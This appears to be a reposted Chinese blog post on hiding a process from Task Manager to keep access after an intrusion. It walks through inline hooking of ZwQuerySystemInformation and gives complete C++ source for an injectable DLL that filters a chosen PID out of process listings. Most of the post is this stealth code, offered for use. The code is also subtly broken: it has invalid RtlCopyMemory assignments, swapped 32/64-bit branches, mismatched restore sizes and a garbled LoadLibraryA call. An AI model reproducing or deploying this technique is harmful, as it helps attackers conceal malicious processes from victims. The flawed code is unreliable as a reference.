巧用进程隐藏进行权限维持

Delina

原文链接：巧用进程隐藏进行权限维持
​
基础知识进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源分配和调度的基本单位，是操作系统结构的基础。在早期面向进程设计的计算机结构中，进程是程序的基本执行实体；在当代面向线程设计的计算机结构中，进程是线程的容器。程序是指令、数据及其组织形式的描述，进程是程序的实体。
我们在计算机上的每个程序运行起来之后都可以被称作进程，进程可以在任务管理器里面看见，如下所示

​

那么我们在进行渗透的过程中，如果我们运行了一些本没有运行的进程，我们想要达到不被对方发现的效果，其中一个方法就是实现进程隐藏，让对方在任务管理器里面看不到这个进程，当然这里只针对的是不被小白发现，专业的人员不在这个讨论范围内。
那么实现进程隐藏可以通过HOOK api的方式实现，我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api，而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息，那么我们就可以直接去hook内核的这个api，因为最终还是调用内核的这个api，从而实现进程隐藏
实现过程那么这里需要一些基础知识，hook api的实现最终还是要归结到Inline HOOK，通过修改api的前几个字节的数据，写入一个E9(jump)到我们自己的函数中执行
简单介绍一下Inline hook，API函数都保存在操作系统提供的DLL文件中，当在程序中使用某个API函数时，在运行程序后，程序会隐式地将API所在的DLL加载入进程中。这样，程序就会像调用自己的函数一样调用API。
在进程中当EXE模块调用CreateFile()函数的时候，会去调用kernel32.dll模块中的CreateFile()函数，因为真正的CreateFile()函数的实现在kernel32.dll模块中。
CreateFile()是API函数，API函数也是由人编写的代码再编译而成的，也有其对应的二进制代码。既然是代码，那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像，从而对API函数进行HOOK。使用的方法是，直接使用汇编指令的jmp指令将其代码执行流程改变，进而执行我们的代码，这样就使原来的函数的流程改变了。执行完我们的流程以后，可以选择性地执行原来的函数，也可以不继续执行原来的函数。
假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK，首先需要在指定进程中的内存中找到CreateFile()函数的地址，然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样，当指定的进程调用CreateFile()函数时，就会首先跳转到我们的函数当中去执行流程，这样就完成了我们的HOOK了。
那么既然有了IAThook，我们为什么还要用Inlinehook呢，直接用IAThook不是更方便吗？看硬编码多麻烦。
我们思考一个问题，如果函数不是以LoadLibrary方式加载，那么肯定在导入表里就不会出现，那么IAThook就不能使用了，这就是Inlinehook诞生的条件。
硬编码
何为硬编码？
这里我就不生搬概念性的东西来解释了，说说我自己的理解。硬编码可以说就是用十六进制的字符组成的，他是给cpu读的语言，我们知道在计算机里面只有0和1，如果你要让他去读c语言的那些字符他是读不懂的，他只会读0和1，这就是硬编码。
硬编码的结构如下，有定长指令、变长指令等等一系列指令，还跟各种寄存器相关联起来，确实如果我们去读硬编码的话太痛苦了
​
这里就不过多延伸了，我们在Inline hook里面只会用到一个硬编码就是E9，对应的汇编代码就是jmp
这里我就直接通过Inline hook来实现进程隐藏，首先我们要明确思路，首先我们要获取到ZwQuerySystemInformation这个函数的地址，首先看一下这个函数的结构

1.   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
   
2.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
   
3.        _Inout_   PVOID                    SystemInformation,
   
4.        _In_      ULONG                    SystemInformationLength,
   
5.        _Out_opt_ PULONG                   ReturnLength
   
6.       );

复制代码

那么我们首先获取ntdll.dll的基址，这里可以使用GetModuleHandle，也可以使用LoadLibraryA

• 
  

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址

• 
  

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
获取到函数地址之后我们就需要进行hook操作，这里注意一下，在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation，对应的硬编码就是E9 xx xx xx xx，那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码，而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax，对应的硬编码就是48 b8 7856341278563412、ff e0，需要修改12个字节
在32位的情况下，修改5个字节

• 
  

BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
计算偏移地址，计算公式为新地址 - 旧地址 - 5

• 
  

DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存

1. ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
   
2. ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

复制代码

64位的情况下同理，只是修改字节为12个字节

1. BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
   
2.    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
   
3.   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
   
4.   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

复制代码

然后修改权限为可读可写可执行权限，否则会报错0xC0000005

• 
  

::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
修改硬编码，再还原属性

1. ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
   
2. 
   
3. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

复制代码

到这里我们的hook函数就已经完成得差不多了，再写一个unhook函数，思路大体相同，代码如下

1. void UnHookAPI()
   
2. {
   
3.    //获取ntdll.dll基址
   
4. 
   
5.    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
   
6. 
   
7.    if (hDll == NULL)
   
8.   {
   
9.        printf("[!] GetModuleHandle false,error is: %d", GetLastError());
   
10.        return;
    
11.   }
    
12.    else
    
13.   {
    
14.        printf("[*] GetModuleHandle successfully!\n\n");
    
15.   }
    
16. 
    
17.    // 获取 ZwQuerySystemInformation 函数地址
    
18.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
    
19. 
    
20.    if (NULL == ZwQuerySystemInformation)
    
21.   {
    
22.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
    
23.        return;
    
24.   }
    
25.    else
    
26.   {
    
27.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
    
28.   }
    
29. 
    
30.    // 修改为可读可写可执行权限
    
31.    DWORD dwOldProtect = 0;
    
32.   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
33. 
    
34.    // 32位下还原5字节,64位下还原12字节
    
35. 
    
36. #ifdef _WIN64
    
37.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
    
38. #else
    
39.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
    
40. #endif
    
41.    // 还原权限
    
42.   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);

复制代码

当我们执行完hook函数之后，需要跳转到我们自己的函数，在我们自己的函数里面，在我们自己的函数里面需要判断是否检索系统的进程信息，如果进程信息存在我们就需要将进程信息剔除那么我们首先将钩子卸载掉，防止多次同时访问hook函数而造成数据混乱

• 
  

UnHookAPI();
然后加载ntdll.dll

• 
  

HMODULE hDll = :oadLibraryA("ntdll.dll");
再获取ZwQuerySystemInformation的基址

• 
  

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
这里看一下ZwQuerySystemInformation这个函数结构

1. NTSTATUS WINAPI ZwQuerySystemInformation(
   
2. _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
   
3. _Inout_   PVOID                    SystemInformation,
   
4. _In_      ULONG                    SystemInformationLength,
   
5. _Out_opt_ PULONG                   ReturnLength
   
6. );

复制代码

主要要关注的有两个参数，第一个参数是SystemInformationClass，他是用来表示要检索的系统信息的类型，再就是返回值，当函数执行成功则返回NTSTATUS，否则返回错误代码，那么我们首先要判断消息类型是否是进程信息

1. status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
   
2. 
   
3. if (NT_SUCCESS(status) && 5 == SystemInformationClass)

复制代码

这里我们定义一个指针指向返回结果信息的缓冲区

• 
  

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
判断如果是我们想要隐藏进程的PID则删除进程信息

• 
  

if (HideProcessID == (DWORD)pCur->UniqueProcessId)
删除完成之后我们再还原hook

• 
  

HookAPI();
我们要实现的功能不只是在自己的进程空间内隐藏指定进程，那么我们就可以把代码写成dll文件方便注入，完整代码如下

1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
   
2. #include "pch.h"
   
3. #include <iostream>
   
4. #include <Winternl.h>
   
5. 
   
6. HMODULE g_hModule;
   
7. BYTE g_Oldwin32[5] = { 0 };
   
8. BYTE g_Oldwin64[12] = { 0 };
   
9. 
   
10. #pragma data_seg("mydata")
    
11. HHOOK g_hHook = NULL;
    
12. #pragma data_seg()
    
13. #pragma comment(linker, "/SECTION:mydata,RWS")
    
14. 
    
15. NTSTATUS New_ZwQuerySystemInformation(
    
16.    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    
17.    PVOID SystemInformation,
    
18.    ULONG SystemInformationLength,
    
19.    PULONG ReturnLength
    
20. );
    
21. 
    
22. void HookAPI();
    
23. void UnHookAPI();
    
24. 
    
25. void HookAPI()
    
26. {
    
27. 
    
28.    //获取ntdll.dll基址
    
29. 
    
30.    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
    
31. 
    
32.    if (hDll == NULL)
    
33.   {
    
34.        printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());
    
35.        return;
    
36.   }
    
37.    else
    
38.   {
    
39.        printf("[*] GetModuleHandle successfully!\n\n");
    
40.   }
    
41. #ifdef _WIN64
    
42.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
    
43.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    
44.        _Inout_   PVOID                    SystemInformation,
    
45.        _In_      ULONG                    SystemInformationLength,
    
46.        _Out_opt_ PULONG                   ReturnLength
    
47.       );
    
48. #else
    
49.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
    
50.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    
51.        _Inout_   PVOID                    SystemInformation,
    
52.        _In_      ULONG                    SystemInformationLength,
    
53.        _Out_opt_ PULONG                   ReturnLength
    
54.       );
    
55. #endif
    
56.    // 获取 ZwQuerySystemInformation 函数地址
    
57.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
    
58. 
    
59.    if (NULL == ZwQuerySystemInformation)
    
60.   {
    
61.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
    
62.        return;
    
63.   }
    
64.    else
    
65.   {
    
66.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
    
67.   }
    
68. 
    
69.    // 32位则修改前5字节,64位则修改前12字节
    
70. 
    
71. #ifdef _WIN64
    
72.    // jmp New_ZwQuerySystemInformation
    
73.    // E9 xx xx xx xx
    
74. 
    
75.    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
    
76. 
    
77.    // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5
    
78.    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    
79.   ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
    
80.   ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
    
81. 
    
82. #else
    
83.    // mov rax, 0x1234567812345678
    
84.    // jmp rax
    
85.    // 48 b8 7856341278563412
    
86.    // ff e0
    
87. 
    
88.    BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    
89.    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
    
90.   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
    
91.   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
    
92. 
    
93. #endif
    
94.    DWORD dwOldProtect = 0;
    
95. 
    
96.    //修改为可读可写可执行权限
    
97.   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
98.   ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
    
99. 
    
100.    //还原权限
     
101.   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
     
102. }
     
103. 
     
104. void UnHookAPI()
     
105. {
     
106.    //获取ntdll.dll基址
     
107. 
     
108.    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
     
109. 
     
110.    if (hDll == NULL)
     
111.   {
     
112.        printf("[!] GetModuleHandle false,error is: %d", GetLastError());
     
113.        return;
     
114.   }
     
115.    else
     
116.   {
     
117.        printf("[*] GetModuleHandle successfully!\n\n");
     
118.   }
     
119. #ifdef _WIN64
     
120.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
     
121.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
     
122.        _Inout_   PVOID                    SystemInformation,
     
123.        _In_      ULONG                    SystemInformationLength,
     
124.        _Out_opt_ PULONG                   ReturnLength
     
125.       );
     
126. #else
     
127.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
     
128.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
     
129.        _Inout_   PVOID                    SystemInformation,
     
130.        _In_      ULONG                    SystemInformationLength,
     
131.        _Out_opt_ PULONG                   ReturnLength
     
132.       );
     
133. #endif
     
134. 
     
135.    // 获取 ZwQuerySystemInformation 函数地址
     
136.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
     
137. 
     
138.    if (NULL == ZwQuerySystemInformation)
     
139.   {
     
140.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
     
141.        return;
     
142.   }
     
143.    else
     
144.   {
     
145.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
     
146.   }
     
147. 
     
148.    // 修改为可读可写可执行权限
     
149.    DWORD dwOldProtect = 0;
     
150.   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
     
151. 
     
152.    // 32位下还原5字节,64位下还原12字节
     
153. 
     
154. #ifdef _WIN64
     
155.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
     
156. #else
     
157.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
     
158. #endif
     
159. 
     
160.    // 还原权限
     
161.   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
     
162. }
     
163. 
     
164. NTSTATUS New_ZwQuerySystemInformation(
     
165.    SYSTEM_INFORMATION_CLASS SystemInformationClass,
     
166.    PVOID SystemInformation,
     
167.    ULONG SystemInformationLength,
     
168.    PULONG ReturnLength
     
169. )
     
170. {
     
171.    NTSTATUS status = 0;
     
172.    PSYSTEM_PROCESS_INFORMATION pCur = NULL;
     
173.    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
     
174. 
     
175.    // 隐藏进程的PID
     
176.    DWORD HideProcessID = 13972;
     
177. 
     
178.    // 卸载钩子
     
179.    UnHookAPI();
     
180. 
     
181.    HMODULE hDll = ::LoadLibraryA("ntdll.dll");
     
182.    if (hDll == NULL)
     
183.   {
     
184.        printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());
     
185.        return status;
     
186.   }
     
187.    else
     
188.   {
     
189.        printf("[*] LoadLibraryA successfully!\n\n");
     
190.   }
     
191. 
     
192. #ifdef _WIN64
     
193.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
     
194.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
     
195.        _Inout_   PVOID                    SystemInformation,
     
196.        _In_      ULONG                    SystemInformationLength,
     
197.        _Out_opt_ PULONG                   ReturnLength
     
198.       );
     
199. #else
     
200.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
     
201.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
     
202.        _Inout_   PVOID                    SystemInformation,
     
203.        _In_      ULONG                    SystemInformationLength,
     
204.        _Out_opt_ PULONG                   ReturnLength
     
205.       );
     
206. #endif
     
207. 
     
208.    // 获取 ZwQuerySystemInformation 函数地址
     
209.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
     
210. 
     
211.    if (NULL == ZwQuerySystemInformation)
     
212.   {
     
213.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
     
214.        return status;
     
215.   }
     
216.    else
     
217.   {
     
218.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
     
219.   }
     
220. 
     
221.    // 调用原函数 ZwQuerySystemInformation
     
222.    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
     
223. 
     
224.    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
     
225.   {
     
226.        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
     
227. 
     
228.        while (TRUE)
     
229.       {
     
230.            // 若为隐藏的进程PID则删除进程信息
     
231.            if (HideProcessID == (DWORD)pCur->UniqueProcessId)
     
232.           {
     
233.                if (pCur->NextEntryOffset == 0)
     
234.               {
     
235.                    pPrev->NextEntryOffset = 0;
     
236.               }
     
237. 
     
238.                else
     
239.               {
     
240.                    pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;
     
241.               }
     
242.           }
     
243. 
     
244.            else
     
245.           {
     
246.                pPrev = pCur;
     
247.           }
     
248. 
     
249.            if (pCur->NextEntryOffset == 0)
     
250.           {
     
251.                break;
     
252.           }
     
253. 
     
254.            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
     
255.       }
     
256.   }
     
257. 
     
258.    HookAPI();
     
259. 
     
260.    return status;
     
261. }
     
262. 
     
263. 
     
264. BOOL APIENTRY DllMain( HMODULE hModule,
     
265.                       DWORD  ul_reason_for_call,
     
266.                       LPVOID lpReserved
     
267.                     )
     
268. {
     
269.    switch (ul_reason_for_call)
     
270.   {
     
271.    case DLL_PROCESS_ATTACH:
     
272.        HookAPI();
     
273.        g_hModule = hModule;
     
274.        break;
     
275.    case DLL_THREAD_ATTACH:
     
276.    case DLL_THREAD_DETACH:
     
277.    case DLL_PROCESS_DETACH:
     
278.        UnHookAPI();
     
279.        break;
     
280.   }
     
281.    return TRUE;
     
282. }

复制代码

实现效果这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面，那么如果我们想要在任务管理器里面看不到某个进程，那么就需要将dll注入到任务管理器里面
​
我这里选择隐藏的是QQ音乐，这里运行下程序将dll注入

​

再看下效果，在任务管理器里面已经看不到QQ音乐这个进程了，进程隐藏成功

​

​